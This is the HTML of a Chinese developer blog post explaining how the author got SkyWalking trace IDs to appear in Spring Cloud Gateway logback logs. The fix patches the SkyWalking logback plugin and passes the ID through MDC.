style="display:inline-block;margin-left:24px">分析问题</span></a><a href="#754bfdec4110434d855ba46fd419c980" class="notion-table-of-contents-item"><span class="notion-table-of-contents-item-body" style="display:inline-block;margin-left:24px">曲线救国</span></a><a href="#819553b3aee84c8eba690120fe69cbd4" class="notion-table-of-contents-item"><span class="notion-table-of-contents-item-body" style="display:inline-block;margin-left:24px">验证</span></a><a href="#65fc421bdc9a4a4cb3b1739e002e5d8d" class="notion-table-of-contents-item"><span class="notion-table-of-contents-item-body" style="display:inline-block;margin-left:0">总结</span></a><a href="#19e3bbae2412427bb58b07013f336d4e" class="notion-table-of-contents-item"><span class="notion-table-of-contents-item-body" style="display:inline-block;margin-left:0">写到最后</span></a></div><h2 class="notion-h notion-h1 notion-h-indent-0 notion-block-b267e4d3fa9749ee869b7703ce772c53" data-id="b267e4d3fa9749ee869b7703ce772c53"><span><div id="b267e4d3fa9749ee869b7703ce772c53" class="notion-header-anchor"></div><a class="notion-hash-link" href="#b267e4d3fa9749ee869b7703ce772c53" title="契机"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">契机</span></span></h2><div class="notion-callout notion-gray_background_co notion-block-a2da58b37dae488980592522ed89c7f6"><div class="notion-page-icon-inline notion-page-icon-span"><span class="notion-page-icon" role="img" aria-label="😀">😀</span></div><div class="notion-callout-text"><b>吴晟大佬:</b>Why ping me? The plugin is not written by me. I don&#x27;t know anything about agent running in Spring cloud.</div></div><div class="notion-text notion-block-a1dcafde033c49a89442bd22aa378568">一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。</div><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-ddda7846980f4721a3b4b2953d261af9"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column;height:100%"><img style="object-fit:cover" src="https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2F96bded73-53ce-4eb0-8549-7899d58355c5%2FUntitled.png?table=block&amp;id=ddda7846-980f-4721-a3b4-b2953d261af9&amp;t=ddda7846-980f-4721-a3b4-b2953d261af9" alt="notion image" loading="lazy" decoding="async"/></div></figure><h2 class="notion-h notion-h1 notion-h-indent-0 notion-block-2ec1c825217c429bafee6caa19a43975" data-id="2ec1c825217c429bafee6caa19a43975"><span><div id="2ec1c825217c429bafee6caa19a43975" class="notion-header-anchor"></div><a class="notion-hash-link" href="#2ec1c825217c429bafee6caa19a43975" title="场景复现"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">场景复现</span></span></h2><h3 class="notion-h notion-h2 notion-h-indent-1 notion-block-f6a2e306a7904fcbaf1294ccdb9d0d7f" data-id="f6a2e306a7904fcbaf1294ccdb9d0d7f"><span><div id="f6a2e306a7904fcbaf1294ccdb9d0d7f" class="notion-header-anchor"></div><a class="notion-hash-link" href="#f6a2e306a7904fcbaf1294ccdb9d0d7f" title="版本"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">版本</span></span></h3><ul class="notion-list notion-list-disc notion-block-9b023386b08f4aa6bef7896a31790d84"><li>spring-cloud-gateway-dependencies = 3.1.3</li></ul><ul class="notion-list notion-list-disc notion-block-53025e5860414a0fa4ec5a552adfeaf2"><li>skywalking-oap-server:9.3.0</li></ul><ul class="notion-list notion-list-disc notion-block-a041e2844a45412eb3984a7ed69c1c37"><li>skywalking-ui:9.3.0</li></ul><ul class="notion-list notion-list-disc notion-block-849e88155eee4e86a63f20722b7aa995"><li>apache-skywalking-java-agent:9.0.0</li></ul><ul class="notion-list notion-list-disc notion-block-5bfd9a27789841d8b8911bbc13be8d85"><li>假设有gateway+user两个模块</li></ul><div class="notion-blank notion-block-24317eef356b473cb5c48ee8ec9f3ff4"> </div><h3 class="notion-h notion-h2 notion-h-indent-1 notion-block-9664075baae9443c947fc212527f54e8" data-id="9664075baae9443c947fc212527f54e8"><span><div id="9664075baae9443c947fc212527f54e8" class="notion-header-anchor"></div><a class="notion-hash-link" href="#9664075baae9443c947fc212527f54e8" title="skyWalking环境搭建"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">skyWalking环境搭建</span></span></h3><h3 class="notion-h notion-h2 notion-h-indent-1 notion-block-9fc64fb0a43a4bdfb9dd61425023bb8c" data-id="9fc64fb0a43a4bdfb9dd61425023bb8c"><span><div id="9fc64fb0a43a4bdfb9dd61425023bb8c" class="notion-header-anchor"></div><a class="notion-hash-link" href="#9fc64fb0a43a4bdfb9dd61425023bb8c" title="agent目录配置"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">agent目录配置</span></span></h3><h3 class="notion-h notion-h2 notion-h-indent-1 notion-block-e043a3848bde4de79a5037602c2ed361" data-id="e043a3848bde4de79a5037602c2ed361"><span><div id="e043a3848bde4de79a5037602c2ed361" class="notion-header-anchor"></div><a class="notion-hash-link" href="#e043a3848bde4de79a5037602c2ed361" title="maven依赖"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">maven依赖</span></span></h3><h3 class="notion-h notion-h2 notion-h-indent-1 notion-block-c4c8d23c69ee490b9a740eeb131c14fb" data-id="c4c8d23c69ee490b9a740eeb131c14fb"><span><div id="c4c8d23c69ee490b9a740eeb131c14fb" class="notion-header-anchor"></div><a class="notion-hash-link" href="#c4c8d23c69ee490b9a740eeb131c14fb" title="项目运行配置"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">项目运行配置</span></span></h3><div class="notion-text notion-block-66f7b00c2f1b42a0af571ff1d633f955">gateway和user模块都配上一下参数,注意SW_AGENT_NAME要变一下</div><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-1a36dd47525242f6ade280ed742fb9f4"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column;height:100%"><img style="object-fit:cover" src="https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2F8cbe5b42-7099-4ebd-bf21-ca0240e5932e%2FUntitled.png?table=block&amp;id=1a36dd47-5252-42f6-ade2-80ed742fb9f4&amp;t=1a36dd47-5252-42f6-ade2-80ed742fb9f4" alt="notion image" loading="lazy" decoding="async"/></div></figure><div class="notion-blank notion-block-4caba176ac584988b755471afac1a52d"> </div><h3 class="notion-h notion-h2 notion-h-indent-1 notion-block-b4ef4f0c8378421ca55f90c3a012fe29" data-id="b4ef4f0c8378421ca55f90c3a012fe29"><span><div id="b4ef4f0c8378421ca55f90c3a012fe29" class="notion-header-anchor"></div><a class="notion-hash-link" href="#b4ef4f0c8378421ca55f90c3a012fe29" title="logback配置"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">logback配置</span></span></h3><h3 class="notion-h notion-h2 notion-h-indent-1 notion-block-0166e46c5c22492485c8358ee4206ae2" data-id="0166e46c5c22492485c8358ee4206ae2"><span><div id="0166e46c5c22492485c8358ee4206ae2" class="notion-header-anchor"></div><a class="notion-hash-link" href="#0166e46c5c22492485c8358ee4206ae2" title="gateway模块请求日志打印代码"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">gateway模块请求日志打印代码</span></span></h3><div class="notion-text notion-block-c8b1acfb25784b1d83ee6f622e1bd843">就是打印四条信息:请求开始,请求头,请求结束信息,请求结束返回</div><h3 class="notion-h notion-h2 notion-h-indent-1 notion-block-4fdd346fce9949d6a7c7728734284e76" data-id="4fdd346fce9949d6a7c7728734284e76"><span><div id="4fdd346fce9949d6a7c7728734284e76" class="notion-header-anchor"></div><a class="notion-hash-link" href="#4fdd346fce9949d6a7c7728734284e76" title="user模块测试代码"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">user模块测试代码</span></span></h3><div class="notion-blank notion-block-c6104167a4564af4b62ad87bd0dc5b7f"> </div><h3 class="notion-h notion-h2 notion-h-indent-1 notion-block-733c637e92ba488987a7f84308daeb66" data-id="733c637e92ba488987a7f84308daeb66"><span><div id="733c637e92ba488987a7f84308daeb66" class="notion-header-anchor"></div><a class="notion-hash-link" href="#733c637e92ba488987a7f84308daeb66" title="访问测试"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">访问测试</span></span></h3><div class="notion-text notion-block-f698fa80fe584beca2aa0afc33e8ffc7">通过网关访问testSkywalking测试结果如下</div><div class="notion-text notion-block-5132098dd3aa4e40ae840408e95d1039">gateway日志</div><div class="notion-text notion-block-7bba347042ba431c9d6349968c4ac543">user日志</div><blockquote class="notion-quote notion-block-91afc304892f42d3bbccbb59e4fdd8d8"><div>可以明显看到user模块的tid是正常输出的,可是gateway的日志死活都是N/A</div></blockquote><div class="notion-blank notion-block-d9b07a77544145738a13db4be5c3ea3b"> </div><h2 class="notion-h notion-h1 notion-h-indent-0 notion-block-97e7928fbe5143d0b14d05127bbeff35" data-id="97e7928fbe5143d0b14d05127bbeff35"><span><div id="97e7928fbe5143d0b14d05127bbeff35" class="notion-header-anchor"></div><a class="notion-hash-link" href="#97e7928fbe5143d0b14d05127bbeff35" title="尝试解决"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">尝试解决</span></span></h2><h3 class="notion-h notion-h2 notion-h-indent-1 notion-block-e325c70ef58c478c90b8eccec3b5d808" data-id="e325c70ef58c478c90b8eccec3b5d808"><span><div id="e325c70ef58c478c90b8eccec3b5d808" class="notion-header-anchor"></div><a class="notion-hash-link" href="#e325c70ef58c478c90b8eccec3b5d808" title="分析问题"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">分析问题</span></span></h3><div class="notion-text notion-block-584a5e58491140f7b4e867a14b578ba7">首先去去看看哪里输出的这个追踪码,没有找到9.0.0的源码,只找到8.7.0的源码,先搞下来研究研究:<a target="_blank" rel="noopener noreferrer" class="notion-link" href="https://github.com/apache/skywalking/blob/v8.7.0/apm-sniffer/apm-toolkit-activation/apm-toolkit-logback-1.x-activation/src/main/java/org/apache/skywalking/apm/toolkit/activation/log/logback/v1/x/PrintTraceIdInterceptor.java">https://github.com/apache/skywalking/blob/v8.7.0/</a>。然后定位到logback插件,去寻找tid在哪里输出的,最终找到如下:</div><div class="notion-text notion-block-4b0d4b9bc2e64faba1b401a7857bc706">apm-sniffer/apm-toolkit-activation/apm-toolkit-logback-1.x-activation/src/main/java/org/apache/skywalking/apm/toolkit/activation/log/logback/v1/x/PrintTraceIdInterceptor.java</div><div class="notion-text notion-block-66932228ed81493fad40f0cfa8a859d9">观察代码无非就是skyWalkingContext.getTraceId()和ContextManager.xx输出的N/A。</div><div class="notion-text notion-block-30bbe27008974876b780500241acd206">Reator模式又有点陌生,无从下手。无意间从另外一篇博客中发现,其实exchange中是有这个tid的</div><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-a70ffef7587f481eb2efc8635aa19049"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column;height:100%"><img style="object-fit:cover" src="https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2Fdf0f3803-b946-4f27-8edd-749909bb63b2%2FUntitled.png?table=block&amp;id=a70ffef7-587f-481e-b2ef-c8635aa19049&amp;t=a70ffef7-587f-481e-b2ef-c8635aa19049" alt="notion image" loading="lazy" decoding="async"/></div></figure><h3 class="notion-h notion-h2 notion-h-indent-1 notion-block-754bfdec4110434d855ba46fd419c980" data-id="754bfdec4110434d855ba46fd419c980"><span><div id="754bfdec4110434d855ba46fd419c980" class="notion-header-anchor"></div><a class="notion-hash-link" href="#754bfdec4110434d855ba46fd419c980" title="曲线救国"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">曲线救国</span></span></h3><div class="notion-text notion-block-4efa436df5504edaac488e6d733d8753">gateway也就拦截器打印点日志,要不然就是exceptionHandler中打印。我要不然直接把这个值传给skywalking-logback插件就完了嘛。拿什么传呢,对的,使用MDC来传,同一个线程都可以传,并且改动最小。直接修改插件中PrintTraceIdInterceptor的源码如下,然后直接打包这个8.7的skywalking-logback插件替换掉原本apm-toolkit-logback-1.x-activation-9.0.0.jar插件(完全可用)</div><div class="notion-text notion-block-5df9de5ce4184045ad9b5003dbc43a99">然后再搞一个工具类</div><div class="notion-text notion-block-eaafbb80be834ef392b11df503ffe4f0">然后在gateway拦截器日志打印的地方加上以下代码,但是请求开始和请求结束是两个不同的线程啊,无法使用MDC来传递,架不住打印日志的地方都使用的一个exchange,当然为了保险你可以在每一个gatway模块的log之前加上以下语句</div><h3 class="notion-h notion-h2 notion-h-indent-1 notion-block-819553b3aee84c8eba690120fe69cbd4" data-id="819553b3aee84c8eba690120fe69cbd4"><span><div id="819553b3aee84c8eba690120fe69cbd4" class="notion-header-anchor"></div><a class="notion-hash-link" href="#819553b3aee84c8eba690120fe69cbd4" title="验证"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">验证</span></span></h3><div class="notion-text notion-block-2da2c502dcea4989b49712bc4a5cf52b">gateway日志</div><div class="notion-text notion-block-0e05852c3ee24087a1263de4e0942a19">user日志</div><div class="notion-text notion-block-19073c4d640d46219e5c56a99d0255dc">确实可用,完美解决</div><h2 class="notion-h notion-h1 notion-h-indent-0 notion-block-65fc421bdc9a4a4cb3b1739e002e5d8d" data-id="65fc421bdc9a4a4cb3b1739e002e5d8d"><span><div id="65fc421bdc9a4a4cb3b1739e002e5d8d" class="notion-header-anchor"></div><a class="notion-hash-link" href="#65fc421bdc9a4a4cb3b1739e002e5d8d" title="总结"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">总结</span></span></h2><ul class="notion-list notion-list-disc notion-block-fc0bc6073ddb47e6879b5229ae258f71"><li>就是把apm-toolkit-logback-1.x-activation插件改了点代码替换掉</li></ul><ul class="notion-list notion-list-disc notion-block-f056809107d143b39a5211cd0d74650d"><li>然后在gatway模块的日志前面用MDC传了点值进到插件里面</li></ul><ul class="notion-list notion-list-disc notion-block-31887616fe3243df97c9f850a7201f22"><li>相当取巧,因为gatway也没啥日志</li></ul><ul class="notion-list notion-list-disc notion-block-065453d6fec445d0a4a68ddd1d07b18c"><li>目前看来没什么问题</li></ul><h2 class="notion-h notion-h1 notion-h-indent-0 notion-block-19e3bbae2412427bb58b07013f336d4e" data-id="19e3bbae2412427bb58b07013f336d4e"><span><div id="19e3bbae2412427bb58b07013f336d4e" class="notion-header-anchor"></div><a class="notion-hash-link" href="#19e3bbae2412427bb58b07013f336d4e" title="写到最后"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">写到最后</span></span></h2><div class="notion-row notion-block-2fb486a574f64bcfbf783f7142f7c121"><div class="notion-column notion-block-e9db490b9be94524ac7f9c3bf6f28f3d" style="width:calc((100% - (2 * min(32px, 4vw))) * 0.25)"><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-749d46cca88a4a77b6d8d3a95fb2d652"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column;height:100%"><img style="object-fit:cover" src="https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2Fe74a26b9-10d9-49f3-9ea7-bcb2a1438bd7%2Ffavicon.png?table=block&amp;id=749d46cc-a88a-4a77-b6d8-d3a95fb2d652&amp;t=749d46cc-a88a-4a77-b6d8-d3a95fb2d652" alt="notion image" loading="lazy" decoding="async"/></div></figure></div><div class="notion-spacer"></div><div class="notion-column notion-block-e4bbc214298b4a2d926999ef87b4e872" style="width:calc((100% - (2 * min(32px, 4vw))) * 0.34601449275362306)"><div class="notion-text notion-block-cb6641a2dc674250a68f06f20d4e5856"><em>
 </em><b><em>        是在往前走就好</em></b><em>
         </em><em><a target="_blank" rel="noopener noreferrer" class="notion-link" href="https://bothsavage.github.io/archive">bothsavage.github.io</a></em><em>
 </em></div><div class="notion-blank notion-block-53f55fce85fc42d2b4d916cbbec3544a"> </div></div><div class="notion-spacer"></div><div class="notion-column notion-block-2822cf85e7414a15913d5905a02e0cd0" style="width:calc((100% - (2 * min(32px, 4vw))) * 0.4039855072463767)"><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-1c60f3fa2ebf4bbaa20be6f0a75dc3d2"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column;height:315px"><img style="object-fit:cover" src="https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2F3436ffe0-3684-445a-824f-2fd9fa5ad2a6%2FUntitled.png?table=block&amp;id=1c60f3fa-2ebf-4bba-a20b-e6f0a75dc3d2&amp;t=1c60f3fa-2ebf-4bba-a20b-e6f0a75dc3d2" alt="notion image" loading="lazy" decoding="async"/></div></figure></div><div class="notion-spacer"></div></div><div class="notion-blank notion-block-80ee939b88334392a7e35687659406c1"> </div></main></div><div class="m-1 overflow-x-auto"><div class="flex w-full md:justify-end"></div></div><div class="flex justify-between"><div></div></div><section class="text-gray-800 dark:text-gray-400 h-12 flex items-center justify-between space-x-5 my-4"><a class="text-sm cursor-pointer justify-start items-center flex hover:underline duration-300" href="/article/240124-deploy"><i class="mr-1 fas fa-angle-double-left"></i>Java部署脚本&amp;重启备份检查&amp;配置环境</a><a class="text-sm cursor-pointer justify-end items-center flex hover:underline duration-300" href="/article/240119-notion">Notion文章自动同步GitPage<i class="ml-1 my-1 fas fa-angle-double-right"></i></a></section><div id="comment" class="comment mt-5 text-gray-800 dark:text-gray-300 "></div></section><div id="gitbook-toc-float" class="fixed top-0 right-0 z-40 md:hidden"><div class=" -mr-72 animate__slideOutRight overflow-y-hidden shadow-card w-60 duration-200 fixed right-1 bottom-16 rounded py-2 bg-white dark:bg-hexo-black-gray"><div class="dark:text-gray-400 text-gray-600 h-96 p-3"></div></div></div><div id="right-drawer-background" class="hidden fixed top-0 left-0 z-30 w-full h-full"></div></div></div><div id="jump-to-top" data-aos="fade-up" data-aos-duration="300" data-aos-once="false" data-aos-anchor-placement="top-center" class="fixed xl:right-80 right-2 mr-10 bottom-24 z-20"><i class="fas fa-chevron-up cursor-pointer p-2 rounded-full border bg-white dark:bg-hexo-black-gray"></i></div></div><div class="md:hidden"><footer class="z-20 py-2 bg:white dark:bg-hexo-black-gray justify-center text-center w-full text-sm relative"><hr class="pb-2"/><div class="flex justify-center"><div><i class="mx-1 animate-pulse fas fa-heart"></i> <a href="https://bothsavage.github.io/" class="underline font-bold text-gray-500 dark:text-gray-300 ">Both Savage</a>.<br/></div>© <!-- -->2024</div><div class="text-xs font-serif">Powered By <a href="https://github.com/tangly1024/NotionNext" class="underline text-gray-500 dark:text-gray-300">NotionNext</a></div><span class="hidden 